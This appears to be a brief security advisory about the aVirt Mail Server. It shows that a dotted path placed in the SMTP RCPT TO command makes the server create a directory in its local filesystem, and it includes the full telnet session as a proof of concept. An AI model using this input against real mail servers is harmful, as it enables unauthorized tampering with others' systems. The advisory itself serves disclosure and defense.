source: http://www.securityfocus.com/bid/764/info

The aVirt Mail Server has a weakness in the code that handles the RCPT TO command. By specifying a path in the command instead of an email recipient , an attacker could cause the mail server to create a directory in the server's local filesystem.

telnet targethost:25

> 220 server aVirt Mail SMTP Server Ready.
MAIL FROM: user
> 250 user, Sender OK
rcpt to:........createdir
> 250 ........createdir, Recipient OK
data
> 354 Please enter mail, ending with a "." on a line by itself
blablabla
.
> 250 Mail accepted.

This will cause the mail server to create a root directory called "createdir", which will contain 1 file. Testing indicates that this method cannot be used to overwrite existing folders.